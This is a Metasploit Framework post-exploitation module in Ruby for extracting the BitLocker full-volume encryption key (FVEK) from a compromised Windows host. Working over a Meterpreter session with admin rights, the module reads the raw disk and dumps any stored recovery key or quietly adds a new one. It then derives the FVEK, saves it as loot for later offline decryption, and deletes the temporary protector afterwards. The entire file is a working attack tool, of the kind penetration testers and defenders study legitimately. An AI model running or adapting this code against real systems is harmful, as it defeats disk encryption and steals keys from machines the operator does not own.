metasploit-framework/modules/post/windows/gather/bitlocker_fvek.rb

150 lines
5.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/parser/fs/bitlocker'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Error
include Msf::Post::Windows::ExtAPI
include Msf::Post::Windows::FileInfo
include Msf::Post::File
ERROR = Msf::Post::Windows::Error
def initialize(info = {})
super(update_info(info,
'Name' => 'Bitlocker Master Key (FVEK) Extraction',
'Description' => %q{
This module enumerates ways to decrypt bitlocker volume and if a recovery key is stored locally
or can be generated, dump the Bitlocker master key (FVEK)
},
'License' => 'MSF_LICENSE',
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Danil Bazin <danil.bazin[at]hsc.fr>'], # @danilbaz
'References' => [
['URL', 'https://github.com/libyal/libbde/blob/master/documentation/BitLocker Drive Encryption (BDE) format.asciidoc'],
['URL', 'http://www.hsc.fr/ressources/outils/dislocker/']
]
))
register_options(
[
OptString.new('DRIVE_LETTER', [true, 'Dump informations from the DRIVE_LETTER encrypted with Bitlocker', nil]),
OptString.new('RECOVERY_KEY', [false, 'Use the recovery key provided to decrypt the Bitlocker master key (FVEK)', nil])
])
end
def run
file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys'
major, minor, _build, _revision, _branch = file_version(file_path)
winver = (major.to_s + '.' + minor.to_s).to_f
fail_with(Failure::NoTarget, 'Module not valid for OS older that Windows 7') if winver <= 6
fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
drive_letter = datastore['DRIVE_LETTER']
system_root = expand_path('%SYSTEMROOT%')
cmd_out = cmd_exec('wmic', "logicaldisk #{drive_letter}: ASSOC:list /assocclass:Win32_LogicalDiskToPartition")
@starting_offset = cmd_out.match(/StartingOffset=(\d+)/)[1].to_i
drive_number = cmd_out.match(/DiskIndex=(\d+)/)[1]
r = client.railgun.kernel32.CreateFileW("\\\\.\\PhysicalDrive#{drive_number}",
'GENERIC_READ',
'FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE',
nil,
'OPEN_EXISTING',
'FILE_FLAG_WRITE_THROUGH',
0)
if r['GetLastError'] != ERROR::SUCCESS
fail_with(Failure::Unknown,
"Error opening #{drive_letter}. Windows Error Code: #{r['GetLastError']}
- #{r['ErrorMessage']}")
end
@handle = r['return']
print_good("Successfuly opened Disk #{drive_number}")
seek(0)
if !datastore['RECOVERY_KEY'].nil?
print_status('Using provided recovery key')
recovery_key = datastore['RECOVERY_KEY']
else
print_status('Trying to gather a recovery key')
manage_bde = "#{system_root}\\system32\\manage-bde.exe"
unless exist?(manage_bde)
manage_bde = "#{system_root}\\sysnative\\manage-bde.exe"
unless exist?(manage_bde)
fail_with(Failure::Unknown, 'manage-bde.exe not found')
end
end
cmd_out = cmd_exec(manage_bde, "-protectors -get #{drive_letter}:")
recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
if !recovery_key.nil?
recovery_key = recovery_key[1]
print_good("Recovery key found : #{recovery_key}")
else
print_status('No recovery key found, trying to generate a new recovery key')
cmd_out = cmd_exec(manage_bde,
"-protectors -add #{drive_letter}: -RecoveryPassword")
recovery_key = cmd_out.match(/((\d{6}-){7}\d{6})/)
id_key_tmp = cmd_out.match(/(\{[^\}]+\})/)
if !recovery_key.nil?
recovery_key = recovery_key[1]
id_key_tmp = id_key_tmp[1]
print_good("Recovery key generated successfuly : #{recovery_key}")
else
print_error('Recovery Key generation failed')
print_status('No recovery key can be used')
return
end
end
end
begin
@bytes_read = 0
fs = Rex::Parser::BITLOCKER.new(self)
print_status('The recovery key derivation usually take 20 seconds...')
fvek = fs.fvek_from_recovery_password_dislocker(recovery_key)
if !fvek.blank?
stored_path = store_loot('windows.file', 'application/octet-stream',
session, fvek)
print_good("Successfuly extract FVEK in #{stored_path}")
print_good('This hard drive could later be decrypted using : dislocker -k <key_file> ...')
else
print_error('Failed to generate FVEK, wrong recovery key?')
end
ensure
unless id_key_tmp.nil?
print_status('Deleting temporary recovery key')
cmd_exec(manage_bde,
"-protectors -delete #{drive_letter}: -id #{id_key_tmp}")
end
client.railgun.kernel32.CloseHandle(@handle)
end
print_status('Post Successful')
end
def read(size)
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
end
def seek(offset)
offset += @starting_offset
high_offset = offset >> 32
low_offset = offset & (2**33 - 1)
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)
end
end